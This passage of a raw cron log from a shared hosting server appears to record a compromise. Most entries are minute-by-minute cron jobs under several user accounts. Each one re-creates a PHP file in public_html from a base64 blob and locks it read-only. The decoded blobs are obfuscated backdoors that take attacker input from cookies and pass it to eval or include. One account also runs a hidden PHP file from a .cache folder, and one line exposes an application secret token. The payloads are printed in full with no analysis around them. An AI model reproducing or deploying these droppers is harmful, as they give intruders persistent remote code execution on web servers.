KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:52:01 medusa CROND[24531]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:52:01 medusa CROND[24533]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:52:01 medusa CROND[24535]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:52:01 medusa CROND[24536]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:52:01 medusa CROND[24545]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:52:01 medusa CROND[24547]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:52:01 medusa CROND[24548]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:52:01 medusa CROND[24549]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:52:01 medusa CROND[24550]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:53:01 medusa CROND[16826]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:53:01 medusa CROND[16868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:53:01 medusa CROND[16896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:53:01 medusa CROND[16911]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:53:01 medusa CROND[16913]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:53:01 medusa CROND[16914]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:53:01 medusa CROND[16915]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:53:01 medusa CROND[16918]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:53:01 medusa CROND[16919]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:53:01 medusa CROND[16924]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:53:01 medusa CROND[16923]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:53:01 medusa CROND[16929]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:54:01 medusa CROND[9530]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:54:01 medusa CROND[9531]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:54:01 medusa CROND[9535]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:54:01 medusa CROND[9536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:54:01 medusa CROND[9540]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:54:01 medusa CROND[9542]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:54:01 medusa CROND[9544]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwL